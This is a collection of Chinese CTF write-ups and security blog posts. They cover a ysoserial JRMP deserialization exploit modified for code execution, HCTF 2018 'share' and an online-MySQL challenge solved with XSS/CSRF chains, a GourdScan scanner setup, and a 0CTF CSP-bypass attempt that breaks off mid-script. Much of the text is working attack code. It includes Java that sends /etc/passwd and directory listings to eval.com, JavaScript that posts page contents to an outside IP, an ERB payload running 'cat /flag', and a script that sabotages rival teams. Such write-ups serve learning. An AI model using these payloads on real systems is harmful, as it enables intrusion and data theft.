java -cp ./ysoserial-5am3.jar ysoserial.exploit.JRMPListener {{port}} URLDNS {{http://eval.com}}


# 生成链接JRMPListener的payload
# ip端口那里填写运行第4行脚本的主机地址端口
java -jar ./ysoserial-5am3.jar JRMPClient2 {{10.0.0.1:8119}} | base64

# 此时将第10行生成的代码，直接打到远程即可。

然后查看dnslog信息。发现存在，那就是ok了。

接下来可以尝试换payload了。此时这里还存在一个问题。服务器端无法执行命令！！

这个是hint中给的，所以我们需要找另一种方式，如：代码执行。

查阅资料，发现ysoserial预留了这块的接口，修改即可。

https://blog.csdn.net/fnmsd/article/details/79534877

然后我们尝试去修改ysoserial/payloads/util/Gadgets.java中createTemplatesImpl方法如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

// createTemplatesImpl修改版，支持代码执行
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
//        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
//            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
//            "\");";
        String cmd="";
        //如果以code:开头，认为是代码，否则认为是命令
        if(!command.startsWith("code:")){
            cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        }
        else{
            System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出，防止影响payload的输出
            cmd = command.substring(5);
        }
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

此时，我们的payload已经可以支持代码执行了。

在这里，我是直接用本地的题目环境进行调试，尝试打印了aaa,操作如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 修改替换{{内容}}

# 开启监听端口
# 建议采用ceye的dnslog查看
# 执行时合并为一行，为了好看，我换了下行
java -cp ysoserial-5am3.jar ysoserial.exploit.JRMPListener 8099 
CommonsBeanutils1 'code:System.out.printld("aaa");'


# 生成链接JRMPListener的payload
# ip端口那里填写运行第4行脚本的主机地址端口
java -jar ./ysoserial-5am3.jar JRMPClient2 {{10.0.0.1:8099}} | base64

# 此时将第10行生成的代码，直接打到远程即可。

然后进而写一下获取文件，以及获取目录的代码。此时拿到文件，无法回显。我们可以用Socket来将文件发送到我们的服务器，然后nc监听端口即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

// 以下代码使用时，记得压缩到一行。
// 获取目录下内容
java.io.File file  =new java.io.File("/");
java.io.File[] fileLists = file.listFiles();
java.net.Socket s = new java.net.Socket("eval.com",8768);

for (int i = 0; i < fileLists.length; i++) {
  java.io.OutputStream out = s.getOutputStream();
  out.write(fileLists[i].getName().getBytes());
  out.write("\n".getBytes());
}

// 获取文件内容
java.io.File file = new java.io.File("/etc/passwd");
java.io.InputStream in = null;
in = new java.io.FileInputStream(file);
int tempbyte;
java.net.Socket s = new java.net.Socket("eval.com",8768);
while ((tempbyte = in.read()) != -1) {
  java.io.OutputStream out = s.getOutputStream();
  out.write(tempbyte);
}
in.close();
s.close();

然后操作如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# 修改替换{{内容}}

# 开启监听端口
# 建议采用ceye的dnslog查看
# 执行时合并为一行，为了好看，我换了下行
java -cp ysoserial-5am3.jar ysoserial.exploit.JRMPListener 8099 
CommonsBeanutils1 'code:{{javapayload}}'

# 生成链接JRMPListener的payload
# ip端口那里填写运行第4行脚本的主机地址端口
java -jar ./ysoserial-5am3.jar JRMPClient2 {{10.0.0.1:8099}} | base64

# 监听端口数据
nc -lnvp 2333

# 此时将第10行生成的代码，直接打到远程即可。

p.s. /flag是个文件夹

本文首发先知社区，文章链接：https://xz.aliyun.com/t/3258

这次比赛感觉比较有意思的一道题。2019 HCTF-share

描述

I have built an app sharing platform, welcome to share your favorite apps for everyone

hint1:https://paste.ubuntu.com/p/VfJDq7Vtqf/

Alpha_test code:https://paste.ubuntu.com/p/qYxWmZRndR/

hint2:

<%= render template: "home/"+params[:page] %>

in root_path

hint3: based ruby 2.5.0

URL

http://share.2018.hctf.io

基准分数 1000.00

当前分数 965.54

完成队伍数 1

开始做这道题，本来是因为疑似XSS，勾起了自己的兴趣。没想到越往后越坑。ruby真心没见过。最终耗时27小时，终于搞出来了，话说一血还是很开心的。

解题

首先分析一波整到题目，按照题目描述，这个网站是用来共享应用的。

首先用户可以向管理员反馈建议，让管理员将某应用加到网站上。

然后管理员页面会有上传应用到网站上，以及将某应用下发给某人进行测试。

主要页面如下：

用户：

应用展示页：http://share.2018.hctf.io/home/publiclist

测试应用页：http://share.2018.hctf.io/home/Alphatest（管理员未下发应用时为空）

反馈建议页：http://share.2018.hctf.io/home/share

通过用户反馈页面，可以尝试插入xss。在这里用img进行测试:

1

<img src=//eval.com:2222>

然后在eval.com进行监听。

1

nc -lnvp 2222

成功收到回显，可以得知采用PhantomJS作为bot，然后尝试读取后台源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

function send(e) {
    var t = new XMLHttpRequest;
    t.open("POST", "//eval.com:2017", !0),
    t.setRequestHeader("Content-type", "text/plain"),
    t.onreadystatechange = function() {
        4 == t.readyState && t.status
    },
    t.send(e);
}
function getsource(src){
var t = new XMLHttpRequest;
    t.open("GET", src, !0),
    t.setRequestHeader("Content-type", "text/plain"),
    t.onreadystatechange = function() {
        4 == t.readyState && t.status
    },
    t.onload=function(e){
    send(e.target.responseText);
    }
    t.send();
}
getsource("/home/publiclist");

通过后台源码可以发现管理员页面。

管理员：

上传应用页：http://share.2018.hctf.io/home/upload

下发应用页：http://share.2018.hctf.io/home/addtest

至此，可以猜测完整利用链为如下：

CSRF上传shell –> CSRF将文件下发到用户端 –> 用户端获得shell链接 –> GET Shell

一开始，按正常逻辑，写出upload的exp， 经本地测试完全可用。然而打过去之后，发现一直报错500。尝试下发的时候，也是500。

真心难受，最后实在受不了问出题人，他说他的payload没问题，可以用的。

最后，在自己和题目的磨磨唧唧中，队友发来了robots.txt里有代码。然后…心态有点炸。就顾xss了，竟然忘了渗透的基本要素，逮到网站先扫扫。

拿到upload的源码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# post /file/upload
  def upload
    if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
      file = params[:file][:myfile]
      name = Base64.decode64(file.original_filename)
      ext = name.split('.')[-1]
      if ext == name || ext ==nil
        ext=""
      end
      share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
      share.write(Base64.decode64(file.read))
      share.close
      File.rename(share.path,share.path+"."+ext)
      tmp = Sharefile.new
      tmp.public = 0
      tmp.path = share.path
      tmp.name = name
      tmp.tempname= share.path.split('/')[-1]+"."+ext
      tmp.context = params[:file][:context]
      tmp.save
    end
    redirect_to root_path
  end

可以发现此处上传的文件名和文件内容，都会经过base64解码，所以此时需要修改一下。

最终exp如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

function send(e) {
    var t = new XMLHttpRequest;
    t.open("POST", "//eval.com:2017", !0),
    t.setRequestHeader("Content-type", "text/plain"),
    t.onreadystatechange = function() {
        4 == t.readyState && t.status
    },
    t.send(e);
}
function submitRequest(authenticity_token)
{
    authenticity_token = authenticity_token.replace(/\+/g, "%2b");
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "/file/upload", true);
    xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP");
    xhr.withCredentials = "true";
    var body = "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" +
      "Content-Disposition: form-data; name=\"utf8\"\r\n" +
      "\r\n" +
      "%E2%9C%93\r\n"+
      "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" +
      "Content-Disposition: form-data; name=\"authenticity_token\"\r\n" +
      "\r\n" +
      authenticity_token + "\r\n" +
      "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" +
      "Content-Disposition: form-data; name=\"file[context]\"\r\n" +
      "\r\n" +
      "1\"\r\n" +
      "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" +
      "Content-Disposition: form-data; name=\"file[myfile]\"; filename=\"PD9waHAgcGhwaW5mbygpOyA/Pg==\"\r\n" +
      "Content-Type: application/octet-stream\r\n" +
      "\r\n" +
      "PCU9YGNhdCAvZmxhZ2AlPg==\r\n" +
      "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP--\r\n"+

      "Content-Disposition: form-data; name=\"commit\"\r\n" +
      "\r\n" +
      "submit\r\n" +
      "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
      aBody[i] = body.charCodeAt(i);
    xhr.onload=function(evt){
      var data = evt.target.responseText;
      send(data);
    }
    xhr.send(new Blob([aBody]));
}
function gettoken(){
    var t = new XMLHttpRequest;
    t.open("GET", "/home/upload", !0),
    t.setRequestHeader("Content-type", "text/plain"),
    t.onreadystatechange = function() {
        4 == t.readyState && t.status
    },
    t.onload=function(evt){
      var data = evt.target.responseText;
      regex = /<input type="hidden" name="authenticity_token" value="(.+)?"/g;
      submitRequest(regex.exec(data)[1]);
    }
    t.send();
}
gettoken();

此时可以成功上传文件，可以在Alphatest页面，查看到当前总文件数。

然后通过CSRF构造下发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

function send(e) {
    var t = new XMLHttpRequest;
    t.open("POST", "//eval.com:2017", !0),
    t.setRequestHeader("Content-type", "text/plain"),
    t.onreadystatechange = function() {
        4 == t.readyState && t.status
    },
    t.send(e);
}
function submitRequest(authenticity_token)
{
    authenticity_token = authenticity_token.replace(/\+/g, "%2b");
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "/file/Alpha_test", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.setRequestHeader("Referer", "http://share.2018.hctf.io/home/addtest");
    xhr.setRequestHeader("Origin", "http://share.2018.hctf.io");
    xhr.onload=function(evt){
      var data = evt.target.responseText;
      send(data);
    } 
    xhr.send("utf8=%E2%9C%93&authenticity_token="+authenticity_token+"&uid=30&fid=42&commit=submit");
}
function gettoken(){
    var t = new XMLHttpRequest;
    t.open("GET", "/home/addtest", !0),
    t.setRequestHeader("Content-type", "text/plain"),
    t.onreadystatechange = function() {
        4 == t.readyState && t.status
    },
    t.onload=function(evt){
      var data = evt.target.responseText;
      regex = /<input type="hidden" name="authenticity_token" value="(.+)?"/g;
      submitRequest(regex.exec(data)[1]);
    }
    t.send();
}
gettoken();

依旧一直报500，当时很懵，然后电脑刚好没电，没有继续试下去。也没好意思再问主办方，毕竟之前是自己没看源码。

第二天一早醒来…

吃瓜的我，感觉到一股深深的恶意….

接着再试就可以了。此时成功拿到自己上传的文件。然而…有个卵用。

ruby的环境，出题人肯定没有配置PHP解析。然后…该如何是好。恰好中午主办方放出了hint

1

<%= render template: "home/"+params[:page] %>

可以很明了的看出来，需要通过上传模板，然后进行包含。但是查询资料发现如下。

也就是说，上传文件，必须上传到/app/views/home目录下。此时才可以进行包含。

话说之前一直傻在这里了，否则早就出了。先说下正确做法吧。

1
2
3

文件名：../../app/views/home/test.erb

文件内容：<%=`cat /flag`%>

编码后上传即可。此时便实现了跨目录上传。然后获取到文件名后，通过

1

http://share.2018.hctf.io/home?page=te20181110-328-zexae3

即可成功包含，获取flag。

搅屎

做完题目后，在和出题人沟通时，意外得知了一个好玩的。

fid只可以给一次，那么，我可以通过监听，来做到，只要出现新文件，立马给到我的账号。这样别人永远无法获得上传文件。想法很棒，但是现实却很真实，自己第二天写wp才想到要搅屎，此时复现时发现有一个队在做。加紧写出了搅屎代码。然而没卵用，刚写好，跑起来。看见那边二血已经到手。

但最后还是再服务器跑着，以防三血诞生。但是，好像并没有人继续做下去了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86

import requests
import re
import time

payload="""
<script>function send(e) {
    var t = new XMLHttpRequest;
    t.open("POST", "//139.199.107.193:2017", !0),
    t.setRequestHeader("Content-type", "text/plain"),
    t.onreadystatechange = function() {
        4 == t.readyState && t.status
    },
    t.send(e);
}
function submitRequest(authenticity_token)
{
    authenticity_token = authenticity_token.replace(/\+/g, "%2b");
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "/file/Alpha_test", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.setRequestHeader("Referer", "http://share.2018.hctf.io/home/addtest");
    xhr.setRequestHeader("Origin", "http://share.2018.hctf.io");
    xhr.onload=function(evt){
      var data = evt.target.responseText;
      send(data);
    } 
    xhr.send("utf8=%E2%9C%93&authenticity_token="+authenticity_token+"&uid={{uid}}}&fid={{fid}}&commit=submit");
}
function gettoken(){
    var t = new XMLHttpRequest;
    t.open("GET", "/home/addtest", !0),
    t.setRequestHeader("Content-type", "text/plain"),
    t.onreadystatechange = function() {
        4 == t.readyState && t.status
    },
    t.onload=function(evt){
      var data = evt.target.responseText;
      regex = /<input type="hidden" name="authenticity_token" value="(.+)?"/g;
      submitRequest(regex.exec(data)[1]);
    }
    t.send();
}
gettoken();</script>

"""
headers={
"Cookie": "_ga=GA1.2.1234049971.1541560268; _gid=GA1.2.395925356.1541764703; _hctf_session=IDl7oRVicLrzfQVGJ32JMMAL%2FkFQRZIqFGC4Az6xEzV2PW%2FG5JHNkaPTCL8McBALbeLexyWC9ltWt%2FU0XAbxnEihvGIQnvvZagnW%2F1I37tAXwbmKG9XUlOp2tkeXTNfVYIIhhzQGiFbfUFFhf2n%2BGRrcw9eu7Tnyn89bsI4fZCvSYgRrZCJJaZGJ%2BaDH8sFoaB1n1spPkQ7%2BHZoCdFdGN9PLPKWv9It3G5UL--FtVXtYfT0mQLejyc--cPeuwvnr0YSug5Ie0XwZCA%3D%3D"
}
def sendshi(uid,fid):

headers={
"Cookie": "_ga=GA1.2.1234049971.1541560268; _gid=GA1.2.395925356.1541764703; _hctf_session=Zt95n%2BqsePGzFV500lXzBLPBbtLVXQNhqypxEw%2Bw%2BrP9Pko9k%2B9jcXuB15FZ27ahSD18NhwxMn2dU7vT9U4GUy%2FIK1Ph2XxeYXNImY36jCqhjYfAlmzIy7hmBkU4MUxC9Y54%2FYCY9s6NOYACi1ZOeXBUmIlw8f1d6TyKQBmn4pRbQkiSRWRRFezqPS8iKpZ%2Bl4B7ZLnwZPky7NC%2BvUTGk5YjTpMZIAdITA88--WH67dwY%2FiXpMn013--hYBC7B4fWamLvU9%2BxFJCAw%3D%3D"
}

url="http://share.2018.hctf.io/recommend/to_admin"

data={
"utf8":"%E2%9C%93",
"authenticity_token":"sK5IwUnkg2m2dVlQHb3DH4/XRQnHlz2BFWz7fEFSYSFhRjtL3cqWBJLd8+qrKwRzSe+4+nQ/lt8NlACosshm9g==",
"context":payload.replace("{{uid}}",uid).replace("{{fid}}",fid),
"url":"",
"commit":"submit"
}
r = requests.post(url,data=data,headers=headers,timeout=3)
print r.status_code

url="http://share.2018.hctf.io/home/Alphatest"
fid=0
uid=0

while(1):
try:
r=requests.get(url,headers=headers,timeout=3)
pattern = re.compile(r'file number:(\d+) your uid: (\d+)')
result1 = pattern.findall(r.text)
if(fid != result1[0][0]):
fid=result1[0][0]
uid=result1[0][1]
else:
time.sleep(1)
print(result1)
contine
sendshi(result1[0][1],result1[0][0])
time.sleep(1)
except:
time.sleep(1)

两个不明白的地方

Tempfile跨目录 (SOLVED)

自己之前一直在纠结可能有其他点，因为之前自己测试的时候，通过../会导致500错误。可能也是因为那一夜，自己有点懵。被500吓怕了。所以往后一直在通过自己本地ruby来测试如何绕过。

测试期间发现。

1

share = Tempfile.new(name,path)

其中path中，可以用../跨目录，但是name中的斜杠，会被自动删掉，很迷。

然而题目中的可控点又是在name中。

1
2
3
4
5
6

name = Base64.decode64(file.original_filename)
ext = name.split('.')[-1] 
share = Tempfile.new(
     name.split('.'+ext)[0],
     Rails.root.to_s+"/public/upload"
 )

所以导致自己把思路放在了这边，没有再次远程尝试。

甚至还动摇了，怀疑page的点没有找到。

最后才发现自己环境不对，两次测试环境，一次是2.3.7，另一次是2.5.3…..

一开始考虑到可能是这个CVE-2018-6914，但是他描述中写的是目录，也就想当然是我以上那个path。

最后用2.5.0终于复现成功

一键ruby环境….

1

sudo docker run -dit --rm ruby:2.5.0

render template之谜 (SOLVED)

1

<%= render template: "home/"+params[:page] %>

如果正常理解以上代码，就是限制包含home控制器下的文件。

但是事实上按照出题给的hint1

如下两个链接包含后都很迷。

1
2

http://share.2018.hctf.io/home?page=index
http://share.2018.hctf.io/home?page=../layouts/mailer

首先是第一个index.html.erb，可以假设理解为他的代码存在问题，导致500。（包含失败也是500）

接下来的第二个就更迷了，既然限制了home，为什么还能跳去layouts。当时有点纠结这个问题，导致思维有点乱，心态也有所干扰。

赛后自己尝试了一下。发现只要是views内的内容都可以进行包含。也就是说那个控制器限定没个卵用，但是必须在视图文件夹内。

那么，可以总结一下。

1
2
3
4
5

# 可以渲染任意路径文件
render "path"
render file: "path" 
# 仅能渲染当前项目下 app/views内的任何内容
render template: "products/show"

参考资料

• Rails 布局和视图渲染
• 利用csrf漏洞上传文件
• ezXSS
• Tempfile
• Rails Dynamic Render 远程命令执行漏洞 (CVE-2016-0752)
• CVE-2018-6914: tempfile 和 tmpdir 库中意外创建文件和目录的缺陷

在线mysql运行环境，欢迎大家使用，别弄坏了它呀。另外还有什么网页上的问题，欢迎您提交反馈。

http://106.75.35.230:9001

前期测试

分析题目，题目可以执行sql语句，此时存在执行后的回显

结合下面的报告栏，疑似xss类题目，尝试输入<>,发现存在waf。在sql语句中，为绕过waf，通常会使用ascii码16进制编码，此时可以构造<img>的十六进制

1

select 0x3c696d673e

此时发现页面可以成功渲染出img标签。

找到xss点了，然后进行报告，一开始以为是留言可以直接写payload，但是尝试后发现不行。

仔细读题，发现他应该是会check url。

直接尝试写入自己监听的url http://xxx.xx/xx

可以发现他有一个后台。

1

http://127.0.0.1//admin_zzzz666.php

构造csrf

尝试访问后，发现只可以本地访问。

此时可以利用前面发现的xss，来构造csrf。

此时传入的参数，为我要引入的恶意js。

1
2

payload:<script src=//eval.com></script>
转化后：0x3c736372697074207372633d2f2f6576616c2e636f6d3e3c2f7363726970743e

所以可以构造以下页面进行csrf，提交该页面的链接，让admin访问，然后会提交表单，跳转到http://127.0.0.1/runsql.php 页面，成功在该页面实现xss。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>eval</title>
<script src=http://127.0.01/static/js/jquery.min.js></script>
</head>
<body>
<form id="a" action="http://127.0.0.1/runsql.php" method="post">
<input type="text" name="sql" value="select 0x3c736372697074207372633d2f2f6576616c2e636f6d3e3c2f7363726970743e">
</form>
<script>
$("#a").submit();
</script>
</body>
</html>

此时将该文件上传到任意服务器或托管平台

csrf至此已经成功完成，接下来需要让其发挥最大效果。也就是我们修改eval.com的js代码。

xss攻击代码

读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

function send(e) {
    var t = new XMLHttpRequest;
    t.open("POST", "//139.199.107.193:2210", !0),
    t.setRequestHeader("Content-type", "text/plain"),
    t.onreadystatechange = function() {
        4 == t.readyState && t.status
    },
    t.send(e)
}

 var iframe = document.createElement("iframe");
 iframe.src = "./admin_zzzz666.php";
 document.body.appendChild(iframe);
 iframe.onload = setInterval(function (){ 
 var c = encodeURI(document.getElementsByTagName("iframe")[0].contentWindow.document.getElementsByTagName("body")[0].innerHTML);
 send(btoa(c));
 },1000)

读取后发现和自己访问，唯一的不同是多了一张图片。

自己天真的以为还用刚刚的套路就可以读，然而发现想错了，这样只能读出来一个标签。

然后继续去搜索，如何读取图片，由于没有找到如何下载源文件。

最终发现canvas可以返回二进制流。

所以自己直接尝试渲染出来并返回图像了。

好在这道题flag就是图片，如果是隐写的话，可能又得费点劲。

读图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

function send(e) {
    var t = new XMLHttpRequest;
    t.open("POST", "//139.199.107.193:2210", !0),
    t.setRequestHeader("Content-type", "text/plain"),
    t.onreadystatechange = function() {
        4 == t.readyState && t.status
    },
    t.send(e)
}
var ca =document.createElement("canvas")
ca.setAttribute('id', 'cv');
ca.width = '1500';
ca.height = '500'
document.body.appendChild(ca);

var cxt=ca.getContext("2d");
var img=new Image()
img.src="http://127.0.0.1/static/img/iamsecret_555.jpg"
img.onload = function(){
cxt.drawImage(img,0,0)
var data = ca.toDataURL();
send(data);
}

成功拿到回显

最后成功拿到flag

https://github.com/ysrc/GourdScanV2

安装配置

关于安装配置，readme已经介绍的很清楚了。但奈何自己对Redis还有python一些库都不太熟，也懒得去踩那些坑。于是决定直接使用docker进行部署。

环境：

腾讯云学生机

Ubuntu Server 16.04.1 LTS 64位

1 核 1 GB 1 Mbps

扫描的时候，将带宽临时升级为了5M（一天不到5块钱吧）

1. 首先安装docker

1

sudo apt install docker.io

2. 然后从GitHub下载该项目

1

git clone https://github.com/ysrc/GourdScanV2.git

下载完成后，进入该目录

1

cd GourdScanV2

3. 构造docker镜像

但是自己在使用途中，遇到了一个问题。

在安装tornado包的时候会报错。自己怀疑是python版本的问题，也有可能是其他原因。

百度无果后，自己尝试将基础镜像改为16.04即可。

1

sed -i "s/ubuntu:14.04/ubuntu:16.04/g" Dockerfile

然后运行

1

sudo docker build -t gourdscan:2.1 .

4. 此时镜像已经创建好了。接下来创建容器即可

1

sudo docker run -d -p 10000:22 -p 8000:8000 -p 10086:10086 -p 10806:10806 gourdscan:2.1 /usr/sbin/sshd -D

5. 进入docker，配置服务

然后登陆进入docker，登陆有两个方法。

• ssh登陆 ssh root@localhost -p 10000

用户名: root，密码: Y3rc_admin

• 直接进入docker docker exec -it 容器ID bash

此时运行服务即可

1
2

redis-server ~/gourdscan/conf/redis.conf
gourdscan

小技巧

有时候会懒得在进入docker启动两个服务，有没有办法让他直接启动呢？有的。

此时自行创建一个start.sh即可，然后在Dockerfile倒数第二行写入以下代码即可

start.sh内容

1
2
3

sleep 1
redis-server ~/gourdscan/conf/redis.conf
python ~/gourdscan/gourdscan.py

Dockerfile增加的内容

1
2
3
4

#添加start.sh，并准备开机执行
COPY ./start.sh /root/start.sh
RUN chmod +x /root/start.sh
ENTRYPOINT cd /root; ./start.sh

使用被动扫描

安装成功后，即可开始happy的玩耍了。

直接访问8000端口即可，默认平台用户名密码为：admin:Y3rc_admin

登录后会发现四个标签

分别是:

扫描记录，代理配置，扫描规则设置，全局设置

我们只需在代理配置处，随便选择一个代理，然后点击start即可。此时记录好端口号。在这里是10086端口。（如果用docker进行配置的话，请勿随意修改端口号，因为docker已经为默认端口做了映射，其他端口会无法访问的。）

后面就不用说了，本地挂上该代理，然后流量就会走扫描器了。

此时可以自己挂上代理尝试访问一些网站，然后在scan status处查看是否有日志，如果有的话，就没毛病了。

然后点开Scan Config标签，直接点击 Start Gourdscan Scanner 即可开始扫描。

然后在Scan Status标签即可看到扫描日志。如果扫出漏洞，就会在Vulnerable处显示，点进去查看即可。

由于我扫描时没有截图，所以凑合看吧。

建议大家还是看一下官方readme，写的很清楚了。

一些感悟

自己扫了半天，扫出来两个大厂的反射型XSS，感觉还算不错的。

越发感觉扫描器的重要性，有必要研究一下扫描器，争取自己写一个玩。

在利用该扫描器扫描期间，暴露出了一些弊端，或许可以为自己以后避免踩坑。比如

1. 代理响应速度过慢，经常打不开网站。
2. 对大厂的一些waf应对不是很好。（经常伪报SQL注入漏洞）
3. 扫描时有时候会假死。
4. 对于反射型xss，仅验证的返回内容是否被转义，没有验证响应头是否可解析。（响应头为json时，浏览器是不会解析的）

关于第一点，可能是一个通病，因为是vps做代理，可能或多或少都会很慢，自己打算抽时间深入看一下，到底为什么。因为这个问题不止这一次困扰自己了。

再有就是第二点，这个其实还是大部分因为大厂的waf，貌似他们有风控，会对恶意请求随机拦截。也就是说同一个恶意请求，你发10次，他会拦截7次。还有3次是可以通过的。所以导致了扫描器的误报。（针对这个问题，也需要思考思考）

最后，貌似最近EnsecTeam在推一些漏洞扫描的建设文章，有兴趣可以关注一下他们，微信直接搜就可以。

还是太菜了，否则能一跃第四。

这题其实挺有意思的， 赛后仔细想想，好像也不是太难。但是题目真心不错。

最后证实，这题有多种解法，但每一种解法，都感觉学到了很多。

题目链接：https://h4x0rs.date/

由于这篇题解自己拖得时间有点长了，所以刚刚发现 lorexxar大佬的题解写的很棒了，大家可以看一下，我就不过多介绍题目了。而且我尽量写一些与他不同的。

https://www.lorexxar.cn/2018/05/31/0ctf2018-final/#h4x0rs-data

获取ID

我们是通过一个比较简单的方式获取到的id。题目中存在一个id为msg标签可写内容。此时我们将自己资料改为

1

<style id=msg></style>

然后构造链接report即可

1

http://h4x0rs.date/login.php?redict=profile.php?id={you_id}%26msg=body{background-img:url('//eval.com?id=

【非预期】通过iframe控制csp

这个解法是刷出题人Twitter刷到的。

原理

因为题目本身是通过加载js，来实现csp的加载。此时csp是直接写到内容中的。可以影响到此标签后面的js的加载。（前面的无法影响）

所以，此时我们只要能提前想办法不让这个js加载即可。当时自己也是想过的，然而……没办法。

在这里，这位大佬用了iframe标签的csp属性。（貌似只有chrome可以用）

利用

此时我们先构造user1的资料为

1

<script>alert(1);</script>

然后再构造user2的资料为如下，从而加载恶意代码

1

<iframe src=/profile.php?id=user1_ID csp="script-src 'unsafe-inline';">

此时，当我们访问user2资料时，便成功触发漏洞。

【预期】拿到nonce，执行js

https://paper.seebug.org/166/#a-csscspdom-xss-three-way

之前自己一直想的是通过style来拿nonce，因为他有缓存。而且时间还可以。最后自己努力将时间控制在15s左右。但是发过去后发现，那边没有回显？自己chrome是66，bot是65。当时很迷，还问出题人来着。但出题人没有对这块进行答复，而是反问我，时间问题。并且说明bot只停留15s，你这样是不行的。

所以只好换思路。当时不知道脑子那根筋抽了，没想到自己加载他的js。最后比赛结束前半小时才发现这个问题。

然而因为需要一系列自动化脚本的编写。最终也没来得及写完。比赛结束后才勉强写出beta版本。

思路

此时因为缓存的原因，20s的缓存。也就是说，当前页面的静态文件时不会重新加载的。那么，我们在当前页面加载一个iframe，即eval.php，去加载js从而获取nonce。但是获取nonce需要传入id。

因为此时我们已经成功关注了admin，所以可以通过python在自己页面爬取到admin的id。

此时大概逻辑便有了。

1.获取到管理员id，并且传给服务器，保存到a.txt。

2.将user1的资料改为将eval.php作为iframe加载。eval.php会引入a.txt的id。

3.此时eval.php 成功拿到nonce，保存到b.txt。并且在5秒后加载user2的资料

4.紧接着，修改user2 的资料，写入evaljs，并且将b.txt中的nonce带上。

5.此时，一套流程便完成了。等待evaljs的执行即可。

脚本

大概用了以下几个脚本。写完没来得及做测试环境就关了。最近虽然环境一直开着，但是有些事给耽误复现了。

也就是说…..至今还未复现。

poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

import re
import requests
import time

# 获取管理员id
def getAdminid():
    return re.search("id=([0-9a-zA-Z]*)\">admin2<" , requests.get("https://h4x0rs.date/profile.php" , cookies={"PHPSESSID":"p28vu9m2h0uj7g04m73uo4fsm6"}).text).group(1)

# 从服务器端a.txt获取nonce
def getNonce():
return requests.get("http://eval.com/a.txt").text

# 修改资料页内容
def reProfile(ec):
url="https://h4x0rs.date/profile.php"
cookie=
headers={
"Cookie":"PHPSESSID=8fut6nfo8f449hu3t6ft2qp3s3",
}

data={
"intro":ec,
"submit":"submit",
}

print(ec)
r=requests.post(url,data=data,headers=headers)

# 发送report
def sendReport():
codeurl="https://h4x0rs.date/profile.php?id=428222d40f05cfc8f1a1f2b550b29952db37d2016899a9f2e0534f630739c1e4"
